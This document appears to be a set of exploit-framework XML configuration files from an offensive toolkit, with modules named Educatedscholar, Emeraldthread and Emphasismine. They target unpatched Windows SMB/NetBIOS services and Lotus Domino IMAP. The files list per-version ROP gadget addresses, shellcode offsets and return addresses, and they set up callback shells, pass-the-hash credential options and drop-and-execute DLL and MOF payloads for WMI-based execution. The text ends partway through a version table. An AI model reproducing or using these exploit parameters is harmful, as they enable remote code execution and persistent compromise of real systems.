<t:parameter name="MovEcxEspValue" description="" type="U32" value="0x135BE" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetAddrValue" description="" type="U32" value="0x14D7C" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetEbpValue" description="" type="U32" value="0x24590" hidden="true"/> <!-- offset from base address -->
<!-- non-prefix parameters -->
<t:parameter name="PtrRet18Value" description="" type="U32" value="0xcc39" hidden="true"/>
<t:parameter name="PtrRwSizeValue" description="" type="U32" value="0x22064" hidden="true"/>
<t:parameter name="PtrRwSizeValue2" description="" type="U32" value="0x2251f" hidden="true"/>
<t:parameter name="GetExecutionToBufferValue" description="" type="U32" value="0xEFDF" hidden="true"/> <!-- offset from base address -->
<t:parameter name="WriteMemoryValue" description="" type="U32" value="0x24588" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CallEcxValue" description="" type="U32" value="0x134B0" hidden="true"/> <!-- offset from base address -->
<t:parameter name="NtAllocatePtr" description="" type="U32" value="0x00000011" hidden="true"/> <!-- address of kernel32.dll import of NtAllocateVirtualMemory -->
<!-- 50 c3 -->
<t:parameter name="CallEaxRetValue" description="" type="U32" value="0x135cb" hidden="true"/>
<!-- 8d 6c 24 10 2b e0 -->
<t:parameter name="GetStackPtr" description="" type="U32" value="0x135e8" hidden="true"/>
<t:parameter name="SyscallVProtectValue" description="" type="U32" value="0x00000089" hidden="true"/> <!-- address of kernel32.dll import of NtProtectVirtualMemory -->
</t:paramgroup>
<t:paramgroup name="XPSP3" description="Windows XP, Service Pack 3">
<t:parameter name="ShellcodeOffset" description="" type="U32" value="0x78" hidden="true"/>
<t:parameter name="RsaenhBaseAddress" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="UnpatchedRetValue" description="" type="U32" value="0x82c9" hidden="true"/>
<t:parameter name="CommonRetValue" description="" type="U32" value="0x121de" hidden="true"/>
<t:parameter name="InitialEcxValue" description="" type="U32" value="0x32020" hidden="true"/>
<t:parameter name="LoadEaxPtrValue" description="" type="U32" value="0xA965" hidden="true"/>
<t:parameter name="EaxPtrValue" description="" type="U32" value="0x6802c91f" hidden="true"/>
<t:parameter name="AddEaxPtrEdxValue" description="" type="U32" value="0x1fce1" hidden="true"/>
<t:parameter name="EbxToWriteableValue" description="" type="U32" value="0x20395" hidden="true"/>
<t:parameter name="EbxPtrValue" description="" type="U32" value="0x32024" hidden="true"/>
<t:parameter name="MovHeapPtrToEcxValue" description="" type="U32" value="0x24f9b" hidden="true"/>
<t:parameter name="EaxNegValValue" description="" type="U32" value="0xFFFFFF30" hidden="true"/>
<t:parameter name="MovEcxEspValue" description="" type="U32" value="0x14f5e" hidden="true"/>
<t:parameter name="HeapRetAddrValue" description="" type="U32" value="0x11740" hidden="true"/>
<t:parameter name="HeapRetEbpValue" description="" type="U32" value="0x32028" hidden="true"/> <!-- offset from base address -->
<!-- non-prefix parameters -->
<t:parameter name="PtrRet18Value" description="" type="U32" value="0xfe47" hidden="true"/>
<t:parameter name="PtrRwSizeValue" description="" type="U32" value="0x31486" hidden="true"/>
<t:parameter name="PtrRwSizeValue2" description="" type="U32" value="0x2f9f7" hidden="true"/>
<t:parameter name="GetExecutionToBufferValue" description="" type="U32" value="0x1006b" hidden="true"/> <!-- offset from base address -->
<t:parameter name="WriteMemoryValue" description="" type="U32" value="0x32020" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CallEcxValue" description="" type="U32" value="0x14e57" hidden="true"/> <!-- offset from base address -->
<t:parameter name="NtAllocatePtr" description="" type="U32" value="0x00000011" hidden="true"/> <!-- address of kernel32.dll import of NtAllocateVirtualMemory -->
<!-- 50 c3 -->
<t:parameter name="CallEaxRetValue" description="" type="U32" value="0x14f6b" hidden="true"/>
<!-- 8d 6c 24 10 2b e0 -->
<t:parameter name="GetStackPtr" description="" type="U32" value="0x14f88" hidden="true"/>
<t:parameter name="SyscallVProtectValue" description="" type="U32" value="0x00000089" hidden="true"/> <!-- address of kernel32.dll import of NtProtectVirtualMemory -->
</t:paramgroup>
<t:paramgroup name="W2K3SP0" description="Windows 2003, Service Pack 0">
<t:parameter name="xor_key_reg" description="" type="U8" value="0x51" hidden="true"/>
<t:parameter name="initial_eax_val" description="" type="U32" value="0xfffffcd3" hidden="true"/>
<t:parameter name="sub_eax_val" description="" type="U32" value="0xffffff36" hidden="true"/>
<t:parameter name="NoNX" description="" type="Boolean" value="true" hidden="true"/>
<t:parameter name="CallESP" description="" type="U32" value="0x001a762f" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="W2K3SP1" description="Windows 2003, Service Pack 1">
<t:parameter name="ShellcodeOffset" description="" type="U32" value="0x78" hidden="true"/>
<t:parameter name="RsaenhBaseAddress" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="UnpatchedRetValue" description="" type="U32" value="0x8430" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CommonRetValue" description="" type="U32" value="0x12ce6" hidden="true"/> <!-- offset from base address -->
<t:parameter name="InitialEcxValue" description="" type="U32" value="0x2ba08" hidden="true"/> <!-- offset from base address -->
<t:parameter name="LoadEaxPtrValue" description="" type="U32" value="0x92a1" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxPtrValue" description="" type="U32" value="0x6800cb52" hidden="true"/> <!-- offset from base address -->
<t:parameter name="AddEaxPtrEdxValue" description="" type="U32" value="0x21899" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxToWriteableValue" description="" type="U32" value="0x21dd5" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxPtrValue" description="" type="U32" value="0x2ba0C" hidden="true"/> <!-- offset from base address -->
<t:parameter name="MovHeapPtrToEcxValue" description="" type="U32" value="0x25a5f" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxNegValValue" description="" type="U32" value="0xFFFFFF30" hidden="true"/>
<t:parameter name="MovEcxEspValue" description="" type="U32" value="0x15ccc" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetAddrValue" description="" type="U32" value="0x63eb" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetEbpValue" description="" type="U32" value="0x2ba10" hidden="true"/> <!-- offset from base address -->
<!-- non-prefix parameters -->
<t:parameter name="PtrRet18Value" description="" type="U32" value="0xd9f7" hidden="true"/>
<t:parameter name="PtrRwSizeValue" description="" type="U32" value="0x291c4" hidden="true"/>
<t:parameter name="PtrRwSizeValue2" description="" type="U32" value="0x2b34f" hidden="true"/>
<t:parameter name="GetExecutionToBufferValue" description="" type="U32" value="0x108f0" hidden="true"/> <!-- offset from base address -->
<t:parameter name="WriteMemoryValue" description="" type="U32" value="0x2ba08" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CallEcxValue" description="" type="U32" value="0x15bb5" hidden="true"/> <!-- offset from base address -->
<t:parameter name="NtAllocatePtr" description="" type="U32" value="0x00000012" hidden="true"/> <!-- address of kernel32.dll import of NtAllocateVirtualMemory -->
<!-- 50 c3 -->
<t:parameter name="CallEaxRetValue" description="" type="U32" value="0x15cb1" hidden="true"/>
<!-- 8d 6c 24 10 2b e0 -->
<t:parameter name="GetStackPtr" description="" type="U32" value="0x15cf4" hidden="true"/>
<t:parameter name="SyscallVProtectValue" description="" type="U32" value="0x0000008f" hidden="true"/> <!-- address of kernel32.dll import of NtProtectVirtualMemory -->
</t:paramgroup>
<t:paramgroup name="W2K3SP2" description="Windows 2003, Service Pack 2">
<t:parameter name="ShellcodeOffset" description="" type="U32" value="0x78" hidden="true"/>
<t:parameter name="RsaenhBaseAddress" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="UnpatchedRetValue" description="" type="U32" value="0x8520" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CommonRetValue" description="" type="U32" value="0x12f87" hidden="true"/> <!-- offset from base address -->
<t:parameter name="InitialEcxValue" description="" type="U32" value="0x312c0" hidden="true"/> <!-- offset from base address -->
<t:parameter name="LoadEaxPtrValue" description="" type="U32" value="0x9391" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxPtrValue" description="" type="U32" value="0x6800cc44" hidden="true"/> <!-- offset from base address -->
<t:parameter name="AddEaxPtrEdxValue" description="" type="U32" value="0x1fbd9" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxToWriteableValue" description="" type="U32" value="0x202b5" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxPtrValue" description="" type="U32" value="0x312c4" hidden="true"/> <!-- offset from base address -->
<t:parameter name="MovHeapPtrToEcxValue" description="" type="U32" value="0x24e68" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxNegValValue" description="" type="U32" value="0xFFFFFF30" hidden="true"/>
<t:parameter name="MovEcxEspValue" description="" type="U32" value="0x1607c" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetAddrValue" description="" type="U32" value="0x124e3" hidden="true"/> <!-- offset from base address -->
<t:parameter name="HeapRetEbpValue" description="" type="U32" value="0x312c8" hidden="true"/> <!-- offset from base address -->
<!-- non-prefix parameters -->
<t:parameter name="PtrRet18Value" description="" type="U32" value="0x6999" hidden="true"/>
<t:parameter name="PtrRwSizeValue" description="" type="U32" value="0x3046e" hidden="true"/>
<t:parameter name="PtrRwSizeValue2" description="" type="U32" value="0x30667" hidden="true"/>
<t:parameter name="GetExecutionToBufferValue" description="" type="U32" value="0x10b1c" hidden="true"/> <!-- offset from base address -->
<t:parameter name="WriteMemoryValue" description="" type="U32" value="0x312c0" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CallEcxValue" description="" type="U32" value="0x15f68" hidden="true"/> <!-- offset from base address -->
<!-- 50 c3 -->
<t:parameter name="CallEaxRetValue" description="" type="U32" value="0x16061" hidden="true"/>
<!-- 8d 6c 24 10 2b e0 -->
<t:parameter name="GetStackPtr" description="" type="U32" value="0x160a4" hidden="true"/>
<t:parameter name="NtAllocatePtr" description="" type="U32" value="0x00000012" hidden="true"/> <!-- address of kernel32.dll import of NtAllocateVirtualMemory -->
<t:parameter name="SyscallVProtectValue" description="" type="U32" value="0x0000008f" hidden="true"/> <!-- address of kernel32.dll import of NtProtectVirtualMemory -->
</t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="Contract"
description="Plugin contract"
type="String"
value="StagedUpload"/>
<t:paramchoice
name="Payload"
description="Comms method">
<t:paramgroup name="ConnectedSocket" description="traditional">
<t:parameter name="XorMask"
description=""
type="U8"/>
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to target"
type="Socket"/>
</t:paramgroup>
<t:paramgroup name="RPCProxy" description="traditional">
<t:parameter name="Protocol"
description="Protocol to proxy with"
type="String"/>
</t:paramgroup>
</t:paramchoice>
</t:outputparameters>
<t:redirection>
<t:local protocol="Tcp"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="TargetPort"
closeoncompletion="true"/>
<t:remote protocol="Tcp"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
<t:logic>
<t:and>
<t:or>
<t:service name="smb">
<t:bindtovalue name="Protocol" value="SMB"/>
<t:bindtopath name="TargetPort" path="//service[name='smb']/port"/>
</t:service>
<t:service name="nbt">
<t:bindtovalue name="Protocol" value="NBT"/>
<t:bindtopath name="TargetPort" path="//service[name='nbt']/port"/>
</t:service>
</t:or>
<t:or>
<t:os family="windows" name="Windows 2000">
<t:bindtovalue name="Target" value="W2K"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="0">
<t:bindtovalue name="Target" value="XPSP0"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="1">
<t:bindtovalue name="Target" value="XPSP1"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="2">
<t:bindtovalue name="Target" value="XPSP2"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="3">
<t:bindtovalue name="Target" value="XPSP3"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="0">
<t:bindtovalue name="Target" value="W2K3SP0"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="1">
<t:bindtovalue name="Target" value="W2K3SP1"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="2">
<t:bindtovalue name="Target" value="W2K3SP2"/>
</t:os>
</t:or>
<t:not>
<t:os_patch name="MS08-67"/>
</t:not>
<t:bindtovalue name="Payload" value="Callback"/>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,27 @@
<?xml version="1.0"?>
<t:config id="2207e94cf3dca3559c5711a307a3f84aafa6247c"
name="Educatedscholar"
version="1.0.0"
configversion="1.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Rpctouch"
displayname="RPC Touch"
postmessage="EDSC requires target OS">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:iparam name="Protocol" value="SMB"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:oparam name="Target" value="Target"/>
<t:oparam name="Protocol" value="Protocol"/>
</t:plugin>
<t:plugin name="Educatedscholartouch"
displayname="EDSC Vulnerability Touch"
postmessage="EDSC exploits a public vulnerability">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="Protocol" value="Protocol"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,149 @@
<?xml version="1.0"?>
<t:config id="2207e94cf3dca3559c5711a307a3f84aafa6247c"
name="Educatedscholar"
version="1.0.0"
configversion="1.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"
binding="//identifier"/>
<t:parameter name="TargetPort"
description="Port used by SMB"
type="TcpPort"
binding="//service[name='smb']/port"/>
<t:parameter name="CallbackIp"
description="Callback IP Address"
type="IPv4"/>
<t:parameter name="CallbackPort"
description="Callback port"
type="TcpPort"
default="0"/>
<t:parameter name="CallbackLocalPort"
description="Local callback port"
type="TcpPort"
required="false"/>
<t:parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16"
default="60"/>
<t:parameter name="PacketDelay"
description="Milliseconds for delay between memory write packets"
type="U16"
hidden="true"
value="150"/>
<!-- Need to differentiate between x86 and 64bit -->
<t:paramchoice name="Target" description="Target OS Version">
<t:paramgroup name="VistaSP1" description="">
<t:parameter name="ProcessIDHigh" description="" type="U16"
value="0x01BB" hidden="true"/>
<t:parameter name="ReturnAddress" description="" type="U32"
value="0xffdf0908" hidden="true"/>
<t:parameter name="HeaderWriteOffset" description="" type="U32"
value="0x3fffffe6" hidden="true"/>
<t:parameter name="ReadWriteAddress" description="" type="U32"
value="0xffdf0d04" hidden="true"/>
<t:parameter name="SetBitAddress" description="" type="U32"
value="0xffdf0770" hidden="true"/>
<t:parameter name="ReadAddress" description="" type="U32"
value="0xffdf02f4" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="VistaSP2" description="">
<t:parameter name="ProcessIDHigh" description="" type="U16"
value="0x01BB" hidden="true"/>
<t:parameter name="ReturnAddress" description="" type="U32"
value="0xffdf0908" hidden="true"/>
<t:parameter name="HeaderWriteOffset" description="" type="U32"
value="0x3fffffe7" hidden="true"/>
<t:parameter name="ReadWriteAddress" description="" type="U32"
value="0xffdf0d04" hidden="true"/>
<t:parameter name="SetBitAddress" description="" type="U32"
value="0xffdf0770" hidden="true"/>
<t:parameter name="ReadAddress" description="" type="U32"
value="0xffdf02f4" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="2K8SP1" description="">
<t:parameter name="ProcessIDHigh" description="" type="U16"
value="0x01BB" hidden="true"/>
<t:parameter name="ReturnAddress" description="" type="U32"
value="0xffdf0908" hidden="true"/>
<t:parameter name="HeaderWriteOffset" description="" type="U32"
value="0x3fffffe6" hidden="true"/>
<t:parameter name="ReadWriteAddress" description="" type="U32"
value="0xffdf0d04" hidden="true"/>
<t:parameter name="SetBitAddress" description="" type="U32"
value="0xffdf0770" hidden="true"/>
<t:parameter name="ReadAddress" description="" type="U32"
value="0xffdf02f4" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="2K8SP2" description="">
<t:parameter name="ProcessIDHigh" description="" type="U16"
value="0x01BB" hidden="true"/>
<t:parameter name="ReturnAddress" description="" type="U32"
value="0xffdf0908" hidden="true"/>
<t:parameter name="HeaderWriteOffset" description="" type="U32"
value="0x3fffffe7" hidden="true"/>
<t:parameter name="ReadWriteAddress" description="" type="U32"
value="0xffdf0d04" hidden="true"/>
<t:parameter name="SetBitAddress" description="" type="U32"
value="0xffdf0770" hidden="true"/>
<t:parameter name="ReadAddress" description="" type="U32"
value="0xffdf02f4" hidden="true"/>
</t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="Contract"
description="The contract fulfilled by this plugin"
type="String"
value="StagedUpload"/>
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to target"
type="Socket"/>
<t:parameter name="XorMask"
description=""
type="U8"/>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='smb']/port"
closeoncompletion="true"/>
<t:remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
<t:logic>
<t:and>
<t:service name="smb">
<t:bindtopath name="TargetPort" path="//service[name='smb']/port"/>
</t:service>
<t:or>
<t:os family="windows" name="Windows Vista" servicepack="1">
<t:bindtovalue name="Target" value="VistaSP1"/>
</t:os>
<t:os family="windows" name="Windows Vista" servicepack="2">
<t:bindtovalue name="Target" value="VistaSP2"/>
</t:os>
<t:os family="windows" name="Windows 2008" servicepack="1">
<t:bindtovalue name="Target" value="2K8SP1"/>
</t:os>
<t:os family="windows" name="Windows 2008" servicepack="2">
<t:bindtovalue name="Target" value="2K8SP2"/>
</t:os>
</t:or>
<t:not>
<t:os_patch name="MS09-050"/>
</t:not>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,20 @@
<?xml version="1.0"?>
<t:config id="37f19b4f9e69dca220147a0361b8aa2084054325"
name="Emeraldthread"
version="3.0.0"
configversion="3.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Emeraldthreadtouch"
displayname="Emeraldthread Touch"
description="Touch to get Target Printer"
postmessage="EMTH requires Printer name">
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="Protocol" value="Protocol"/>
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="Credentials" value="Credentials"/>
<t:oparam name="PrinterName" value="PrinterName"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,240 @@
<?xml version="1.0"?>
<t:config id="37f19b4f9e69dca220147a0361b8aa2084054325"
name="Emeraldthread"
version="3.0.0"
configversion="3.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<t:parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16"
default="60" />
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"
binding="//identifier"/>
<t:paramchoice name="Protocol"
default="SMB"
description="Protocol to connect to target with">
<t:paramgroup name="SMB"
description="SMB over TCP">
<t:parameter name="TargetPort"
description="Port used by SMB"
type="TcpPort"
default="445"/>
</t:paramgroup>
<t:paramgroup name="NBT"
description="Netbios over TCP">
<t:parameter name="TargetPort"
description="Port used by Netbios"
type="TcpPort"
default="139"/>
</t:paramgroup>
</t:paramchoice>
<t:paramchoice name="Credentials"
description="Type of credentials to use">
<t:paramgroup name="Anonymous"
description="Anonymous (NULL session)"/>
<t:paramgroup name="Guest"
description="Guest account"/>
<t:paramgroup name="No password"
description="User account with no password set">
<t:parameter name="Username"
description=""
type="UString"/>
</t:paramgroup>
<t:paramgroup name="Password"
description="Username and password">
<t:parameter name="Username"
description=""
type="UString"/>
<t:parameter name="Password"
description=""
type="UString"/>
</t:paramgroup>
<t:paramgroup name="NTLM hash"
description="Username and NTLM hash">
<t:parameter name="Username"
description=""
type="UString"/>
<t:parameter name="NTLMHash"
description="NTLM password hash (in hex)"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="Both hashes"
description="Username, NTLM hash, and LANMAN hash">
<t:parameter name="Username"
description=""
type="UString"/>
<t:parameter name="NTLMHash"
description="NTLM password hash (in hex)"
type="UString"/>
<t:parameter name="LANMANHash"
description="LANMAN password hash (in hex)"
type="UString"/>
</t:paramgroup>
</t:paramchoice>
<t:paramchoice name="PayloadType"
description="Callback from target or callin to target"
default="Callback">
<t:paramgroup name="Callback"
description="Target calls back to plugin">
<t:parameter name="CallbackIp"
description="Callback IP address"
type="IPv4"/>
<t:parameter name="CallbackPort"
description="Callback port"
type="TcpPort"
default="0"/>
<t:parameter name="CallbackLocalPort"
description="Local callback port"
type="TcpPort"
required="false"/>
</t:paramgroup>
<t:paramgroup name="Callin"
description="Target waits for call from plugin">
<t:parameter name="ListenPort"
description="Listen port"
type="TcpPort"/>
<t:parameter name="ListenLocalPort"
description="Listen port"
type="TcpPort"
required="false"/>
<t:parameter name="ListenWait"
description="Timeout to wait before trying to connect in."
type="S16"
default="10"/>
</t:paramgroup>
<t:paramgroup name="DropAndExecute"
description="Payload deployed with no feedback">
<t:parameter name="PayloadContract"
description="Passthrough contract"
type="String"
required="false"/>
</t:paramgroup>
</t:paramchoice>
<t:paramchoice name="PayloadSource"
description="Payload source input type"
default="File">
<t:paramgroup name="File"
description="Payloads provided by file">
<t:parameter name="UnconfiguredDLL"
description="The unconfigured DLL file that will be written to target"
type="LocalFile"
default="esud.dll"/>
<t:parameter name="ConfiguredMOF"
description="The patched mof file that will be written to target"
type="LocalFile"
default="nnetcfg.mof"/>
</t:paramgroup>
<t:paramgroup name="Inline"
description="Payloads provided inline">
<t:parameter name="DLLBuffer"
description="The unconfigured DLL file that will be written to target"
type="UString"
required="false"/>
<t:parameter name="MOFBuffer"
description="The patched mof file that will be written to target"
type="UString"
required="false"/>
</t:paramgroup>
</t:paramchoice>
<t:parameter name="RemoteDLLPath"
description="The path where we want the DLL to exist on target"
type="String"
default="\windows\system32\wbem\wbemess2.tlb"/>
<t:parameter name="RemoteMOFPath"
description="The path where we want the patched mof file to exist on target"
type="String"
default="\windows\system32\wbem\.\mof\nnetcfg.mof"/>
<t:parameter name="RemoteMOFTriggerPath"
description="The path where we want the mof trigger file to exist on target"
type="String"
default="\windows\system32\wbem\.\mof\evntprv.mof"/>
<t:parameter name="PrinterName"
description="The name of the printer on target"
type="UString"
format="Scalar"/>
</t:inputparameters>
<t:outputparameters>
<t:paramchoice name="PayloadType"
description="Payload type determines contract">
<t:paramgroup name="StagedUpload"
description="Callin or Callback">
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to target"
type="Socket"/>
<t:parameter name="Contract"
description="Plugin contract"
type="String"
value="StagedUpload"/>
<t:parameter name="XorMask"
description=""
type="U8"/>
</t:paramgroup>
<t:paramgroup name="DropAndExecute"
description="">
<t:parameter name="Contract"
description="Plugin contract"
type="String"/>
</t:paramgroup>
</t:paramchoice>
</t:outputparameters>
<t:redirection>
<t:local protocol="Tcp"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="TargetPort"
closeoncompletion="false"/>
<t:local protocol="Tcp"
listenaddr="TargetIp"
listenport="ListenLocalPort"
destaddr="//identifier"
destport="ListenPort"/>
<t:remote protocol="Tcp"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
<t:logic>
<t:and>
<t:or>
<t:service name="smb">
<t:bindtovalue name="Protocol" value="SMB"/>
<t:bindtopath name="TargetPort" path="//service[name='smb']/port"/>
</t:service>
<t:service name="nbt">
<t:bindtovalue name="Protocol" value="NBT"/>
<t:bindtopath name="TargetPort" path="//service[name='nbt']/port"/>
</t:service>
</t:or>
<t:or>
<t:os family="windows" name="Windows XP" servicepack="1">
<t:bindtovalue name="Target" value="XPSP1"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="2">
<t:bindtovalue name="Target" value="XPSP2"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="3">
<t:bindtovalue name="Target" value="XPSP3"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="0">
<t:bindtovalue name="Target" value="W2K3SP0"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="1">
<t:bindtovalue name="Target" value="W2K3SP1"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="2">
<t:bindtovalue name="Target" value="W2K3SP2"/>
</t:os>
</t:or>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,892 @@
<?xml version="1.0" encoding="UTF-8"?>
<config xmlns="urn:trch"
id="0a9ec8318c0f544ba84f56df2e5e3c278844f5bf"
name="Emphasismine"
version="3.4.0"
configversion="3.4.0.0"
schemaversion="2.0.0">
<inputparameters>
<parameter name="TargetIp" description="Target IP Address" type="IPv4"/>
<parameter name="TargetPort" description="Port used by the IMAP service" type="TcpPort">
<default>143</default>
</parameter>
<parameter name="TargetAcctUsr" type="String" description="Target account username"/>
<parameter name="TargetAcctPwd" type="String" description="Target account password"/>
<!-- All plugins that perform blocking network calls must have a NetworkTimeout parameter or its equivalent -->
<parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." type="S16">
<default>60</default>
</parameter>
<!-- This is a template for the version-dependent input parameters -->
<paramchoice name="DominoVersion" description="The version of Lotus Domino running on the target">
<paramgroup name="6.5.4" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x34C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x00428463</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0042E038</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x00420CF5</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x60132252</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60951039</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x607112B4</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x60168187</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x600A371D</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x609DBEA1</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x0042845E</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041331B</value>
</parameter>
</paramgroup>
<paramgroup name="6.5.5" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x34C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x004283D3</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0042E038</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x00420C15</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x00427989</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60984BC9</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60740B94</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x60169917</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x6016B89E</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x60A0FCB1</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004283CE</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041323B</value>
</parameter>
</paramgroup>
<paramgroup name="6.5.5FP1" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x34C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x004283D3</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0042E038</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x00420C15</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x00427989</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60985499</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60741404</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6099F0D7</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x6003620D</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x60A108A1</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004283CE</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041323B</value>
</parameter>
</paramgroup>
<paramgroup name="7.0" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
